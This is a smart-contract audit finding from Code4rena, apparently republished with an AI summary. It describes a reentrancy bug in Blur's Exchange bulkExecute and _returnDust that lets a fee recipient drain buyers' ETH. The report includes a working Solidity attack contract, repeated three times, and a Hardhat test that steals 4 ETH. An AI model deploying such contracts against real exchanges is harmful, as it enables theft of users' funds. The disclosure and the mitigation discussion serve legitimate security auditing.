Direct theft of buyer’s ETH funds
A seller or fee recipient could reenter the exchange contract during a bulk order execution and drain the buyer's remaining ETH by calling bulkExecute with an empty array, which triggered a refund of the entire contract balance. The attacker could then keep most of the stolen funds while returning just enough to complete the first order, leaving the buyer with no refund and subsequent orders failing.
Originally disclosed on Code4rena
Submitted by 0xdeadbeef0x, also found by adriro, bin2chen, datapunk, hihen, KingNFT, Koolex, Lambda, philogy, rotcivegaf, Trust, V_B, and wait
Exchange.sol#L168 Exchange.sol#L565 Exchange.sol#L212 Exchange.sol#L154
Most severe issue: A Seller or Fee recipient can steal ETH funds from the buyer when he is making a single or bulk execution. (Direct theft of funds).
Additional impacts that can be caused by these bugs:
- Seller or Fee recipient can cause next in line executions to revert in
bulkExecute(by alteringisInternal, insufficient funds, etc..) - Seller or Fee recipient can call
_executeexternally - Seller or Fee recipient can set a caller
_remainingETHto 0 (will not get refunded)
Proof of Concept
Background:
- The protocol added a
bulkExecutefunction that allows multiple orders to execute. The implementation is implemented in a way that if an_executeof a single order reverts, it will not break additional or previous successful_executes. It is therefore very important to track actual ETH used by the function. - The protocol has recognized the need to track buyers ETH in order to refund unused ETH by implementing the
_returnDustfunction andsetupExecutionmodifier. This ensures that calls to_executemust be internal and have proper accounting of remainingETH. - Fee recipient is controlled by the seller. The seller determines the recipients and fee rates.
The new implementations creates an attack vectors that allows the Seller or Fee recipient to steal ETH.
There are three main bugs that can be exploited to steal the ETH:
- Reentrancy is possible by feeRecipient as long as
_executeis not called (_executehas a reentrancyGuard) bulkExecutecan be called with an empty parameter. This allows the caller to not enter_executeand call_returnDust_returnDustsends the entire balance of the contract to the caller.
(Side note: I issued the 3 bugs together in this one report in order to show impact and better reading experience for sponsor and judge. If you see fit, these three bugs can be split to three different findings)
There are two logical scenarios where the heist could originate from:
- Malicious seller: The seller can set the fee recipient to a malicious contract.
- Malicious fee recipient: fee recipient can steal the funds without the help of the seller.
Consider the scenario (#1) where feeRecipient rate 10% of token price 1 ETH:
- Bob (Buyer) wants to execute 4 orders with ETH. Among the orders is Alice’s (seller) sell order (lets assume first in line).
- Bob calls
bulkExecutewith4 ETH.1 ETHfor every order. - Alice’s sell order gets executed. Fee
0.1 ETHis sent to feeRecipient (controlled by Alice). - feeRecipient reenters
bulkExecutewith empty array as parameter and1 WEIof data _returnDustreturns the balance of the contract to feeRecipient3.9 ETH.- feeRecipient sends
3.1 ETHto seller (or any other beneficiary) - feeRecipient call
selfdestructopcode that transfers0.9 ETHto Exchange contract. This is in order to keep_executefrom reverting when paying the seller. _executepays seller0.9 ETH- Sellers balance is
4 ETH. - The rest of the
_executecalls bybulkExecutewill get reverted because buyer cannot pay as his funds were stolen. - Buyers
3 ETHfunds stolen
┌───────────┐ ┌──────────┐ ┌───────────────┐ ┌───────────┐
│ │ │ │ │ │ │ │
│ Buyer │ │ Exchange │ │ Fee Recipient │ │ Seller │
│ │ │ │ │ │ │ │
└─────┬─────┘ └────┬─────┘ └───────┬───────┘ └─────┬─────┘
│ │ │ │
│ bulkExecute(4 orders) │ │ │
│ 4 ETH │ │ │
├──────────────────────►│ │ │
│ │_execute sends 0.1 ETH │ │
│ ├──────────────────────►│ │
│ │ │ │
│ │ bulkExecute(0 orders) │ │
│ │ 1 WEI │ │
│ │◄──────────────────────┤ │
│ │ │ │
│ │ _retrunDust sends │ │
│ │ 3.9 ETH │ │
│ ├──────────────────────►│ Send 3.1 ETH │
│ │ ├─────────────────►│
│ │ Self destruct send │ │
│ │ 0.9 ETH │ │
│ │◄──────────────────────┤ │
│ │ │ │
│ │_execute sends 0.9 ETH │ │
│ ├───────────────────────┼─────────────────►│
│ │ │ │
│ ├──────┐ _execute revert│ │
│ │ │ 3 times │ │
┌───┴───┐ │◄─────┘ │ ┌───┴───┐
│3 ETH │ │ │ │4 ETH │
│Stolen │ │Balance│
└───────┘ └───────┘
Here is a possible implementation of the fee recipient contract:
contract MockFeeReceipient {
bool lock;
address _seller;
uint256 _price;
constructor(address seller, uint256 price) {
_seller = seller;
_price = price;
}
receive() external payable {
Exchange ex = Exchange(msg.sender);
if(!lock){
lock = true;
// first entrance when receiving fee
uint256 feeAmount = msg.value;
// Create empty calldata for bulkExecute and call it
Execution[] memory executions = new Execution[](0);
bytes memory data = abi.encodeWithSelector(Exchange.bulkExecute.selector, executions);
address(ex).call{value: 1}(data);
// Now we received All of buyers funds.
// Send stolen ETH to seller minus the amount needed in order to keep execution.
address(_seller).call{value: address(this).balance - (_price - feeAmount)}('');
// selfdestruct and send funds needed to Exchange (to not revert)
selfdestruct(payable(msg.sender));
}
else{
// Second entrance after steeling balance
// We will get here after getting funds from reentrancy
}
}
}
Important to know: The exploit becomes much easier if the set fee rate is 10000 (100% of the price). This can be set by the seller. In such case, the fee recipient does not need to send funds back to the exchange contract. In such case, step #7-8 can be removed. Example code for 100% fee scenario:
pragma solidity 0.8.17;
import { Exchange } from "../Exchange.sol";
import { Execution } from "../lib/OrderStructs.sol";
contract MockFeeReceipient {
bool lock;
address _seller;
uint256 _price;
constructor(address seller, uint256 price) {
_seller = seller;
_price = price;
}
receive() external payable {
Exchange ex = Exchange(msg.sender);
if(!lock){
lock = true;
// first entrance when receiving fee
uint256 feeAmount = msg.value;
// Create empty calldata for bulkExecute and call it
Execution[] memory executions = new Execution[](0);
bytes memory data = abi.encodeWithSelector(Exchange.bulkExecute.selector, executions);
address(ex).call{value: 1}(data);
}
else{
// Second entrance after steeling balance
// We will get here after getting funds from reentrancy
}
}
}
In the POC we talk mostly about bulkExecute but execute of a single execution can steal the buyers excessive ETH.
Technical Walkthrough of Scenario
Buyers can call execute or bulkExecute to start an execution of orders.
Both functions have a setupExecution modifier that stores the amount of ETH the caller has sent for the transactions:
bulkExecute in Exchange.sol: https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L168
function bulkExecute(Execution[] calldata executions)
external
payable
whenOpen
setupExecution
{
setupExecution: https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L40
modifier setupExecution() {
remainingETH = msg.value;
isInternal = true;
_;
remainingETH = 0;
isInternal = false;
}
_execute will be called to handle the buy and sell order.
- The function has a reentracnyGuard.
- The function will check that the orders are signed correctly and that both orders match.
- If everything is OK,
_executeFundsTransferwill be called to transfer the buyers funds to the seller and fee recipient
_executeFundsTransfer: https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L565
function _executeFundsTransfer(
address seller,
address buyer,
address paymentToken,
Fee[] calldata fees,
uint256 price
) internal {
if (msg.sender == buyer && paymentToken == address(0)) {
require(remainingETH >= price);
remainingETH -= price;
}
/* Take fee. */
uint256 receiveAmount = _transferFees(fees, paymentToken, buyer, price);
/* Transfer remainder to seller. */
_transferTo(paymentToken, buyer, seller, receiveAmount);
}
Fees are calculated based on the rate set by the seller and send to the fee recipient in _transferFees.
When the fee recipient receives the funds. They can reenter the Exchange contract and drain the balance of contract. This can be done through bulkExecution.
bulkExecution can be called with an empty array. If so, no _execute function will be called and therefore no reentrancyGuard will trigger. At the end of bulkExecution, _returnDust function is called to return excessive funds.
function bulkExecute(Execution[] calldata executions)
external
payable
whenOpen
setupExecution
{
/*
REFERENCE
uint256 executionsLength = executions.length;
for (uint8 i=0; i < executionsLength; i++) {
bytes memory data = abi.encodeWithSelector(this._execute.selector, executions[i].sell, executions[i].buy);
(bool success,) = address(this).delegatecall(data);
}
_returnDust(remainingETH);
*/
uint256 executionsLength = executions.length;
for (uint8 i = 0; i < executionsLength; i++) {
function _returnDust() private {
uint256 _remainingETH = remainingETH;
assembly {
if gt(_remainingETH, 0) {
let callStatus := call(
gas(),
caller(),
selfbalance(),
0,
0,
0,
0
)
}
}
}
After the fee recipient drains the rest of the 4 ETH funds of the Exchange contract (the buyers funds). They need to transfer a portion back (0.9 ETH) to the Exchange contract in order for the _executeFundsTransfer to not revert and be able to send funds (0.9 ETH) to the seller. This can be done using the selfdestruct opcode
After that, the _execute function will continue and exit normally.
bulkExecute will continue to the next order and call _execute which will revert.
Because bulkExecute delegatecalls _execute and continues even after revert, the function bulkExecute will complete its execution without any errors and all the buyers ETH funds will be lost and nothing will be refunded.
Hardhat Proof of Concept
Add the following test to execution.test.ts:
describe.only('hack', async () => {
let executions: any[];
let value: BigNumber;
beforeEach(async () => {
await updateBalances();
const _executions = [];
value = BigNumber.from(0);
// deploy MockFeeReceipient
let contractFactory = await (hre as any).ethers.getContractFactory(
"MockFeeReceipient",
{},
);
let contractMockFeeReceipient = await contractFactory.deploy(alice.address,price);
await contractMockFeeReceipient.deployed();
//generate alice and bob orders. alice fee recipient is MockFeeReceipient. 10% cut
tokenId += 1;
await mockERC721.mint(alice.address, tokenId);
sell = generateOrder(alice, {
side: Side.Sell,
tokenId,
paymentToken: ZERO_ADDRESS,
fees: [
{
rate: 1000,
recipient: contractMockFeeReceipient.address,
}
],
});
buy = generateOrder(bob, {
side: Side.Buy,
tokenId,
paymentToken: ZERO_ADDRESS});
_executions.push({
sell: await sell.packNoOracleSig(),
buy: await buy.packNoSigs(),
});
// create 3 more executions
tokenId += 1;
for (let i = tokenId; i < tokenId + 3; i++) {
await mockERC721.mint(thirdParty.address, i);
const _sell = generateOrder(thirdParty, {
side: Side.Sell,
tokenId: i,
paymentToken: ZERO_ADDRESS,
});
const _buy = generateOrder(bob, {
side: Side.Buy,
tokenId: i,
paymentToken: ZERO_ADDRESS,
});
_executions.push({
sell: await _sell.packNoOracleSig(),
buy: await _buy.packNoSigs(),
});
}
executions = _executions;
});
it("steal funds", async () => {
let aliceBalanceBefore = await alice.getBalance();
//price = 4 ETH
value = price.mul(4);
//call bulkExecute
tx = await waitForTx(
exchange.connect(bob).bulkExecute(executions, { value }));
let aliceBalanceAfter = await alice.getBalance();
let aliceEarned = aliceBalanceAfter.sub(aliceBalanceBefore);
//check that alice received all 4 ETH
expect(aliceEarned).to.equal(value);
});
});
Add the following contract to mocks folder:
MockFeeRecipient.sol:
pragma solidity 0.8.17;
import { Exchange } from "../Exchange.sol";
import { Execution } from "../lib/OrderStructs.sol";
contract MockFeeReceipient {
bool lock;
address _seller;
uint256 _price;
constructor(address seller, uint256 price) {
_seller = seller;
_price = price;
}
receive() external payable {
Exchange ex = Exchange(msg.sender);
if(!lock){
lock = true;
// first entrance when receiving fee
uint256 feeAmount = msg.value;
// Create empty calldata for bulkExecute and call it
Execution[] memory executions = new Execution[](0);
bytes memory data = abi.encodeWithSelector(Exchange.bulkExecute.selector, executions);
address(ex).call{value: 1}(data);
// Now we received All of buyers funds.
// Send stolen ETH to seller minus the amount needed in order to keep execution.
address(_seller).call{value: address(this).balance - (_price - feeAmount)}('');
// selfdestruct and send funds needed to Exchange (to not revert)
selfdestruct(payable(msg.sender));
}
else{
// Second entrance after steeling balance
// We will get here after getting funds from reentrancy
}
}
}
Execute yarn test to see that test pass (Alice stole all 4 ETH)
Tools Used
VS code, hardhat
Recommended Mitigation Steps
- Put a reentrancyGuard on
executeandbulkExecutefunctions _refundDustreturn only _remainingETH- revert in
bulkExecuteif parameter array is empty.
nonfungible47 (Blur) confirmed and commented:
Both mitigation steps 2 and 3 were added. We cannot add
reentrancyGuardto theexecuteandbulkExecutefunctions as it will break the call to_execute. So, a separate guard was added insetupExecutionthat would requireisInternal = false, preventing reentrant calls.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the combination of a reentrancy vulnerability in the fee transfer, the ability to call bulkExecute with an empty array bypassing the reentrancy guard, and _returnDust sending the entire contract balance instead of only the remaining ETH.
Impact
A seller or fee recipient could steal the buyer's ETH funds, and the buyer would not receive a refund for unused ETH; the attack could also cause subsequent orders in a bulk execution to revert.
What the attacker needed
Malicious seller or fee recipient; buyer uses bulkExecute with ETH; fee recipient is a contract
The fix
The project added a check to prevent reentrant calls in setupExecution, changed _returnDust to refund only the remaining ETH, and made bulkExecute revert if the array is empty.
How it was found
- Buyer calls bulkExecute with ETH for multiple orders, including one from a malicious seller whose fee recipient is a malicious contract.
- The first order executes and sends the fee to the malicious fee recipient contract.
- The fee recipient reenters bulkExecute with an empty array and a tiny amount of ETH.
- The reentrant call triggers _returnDust, which sends the entire contract balance to the fee recipient.
- The fee recipient sends most of the stolen ETH to the seller and uses selfdestruct to return just enough ETH to the exchange so the first order completes.
- The remaining orders in the original bulkExecute revert due to insufficient funds, and the buyer loses the stolen ETH.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you buy something on a blockchain exchange, you send extra money (ETH) to cover the price, and the exchange is supposed to refund any unused amount. In this bug, the person receiving a fee could trick the exchange into sending them all the extra money before the purchase finished, by calling a special function that returns the contract's entire balance. The buyer lost their funds and the remaining orders failed.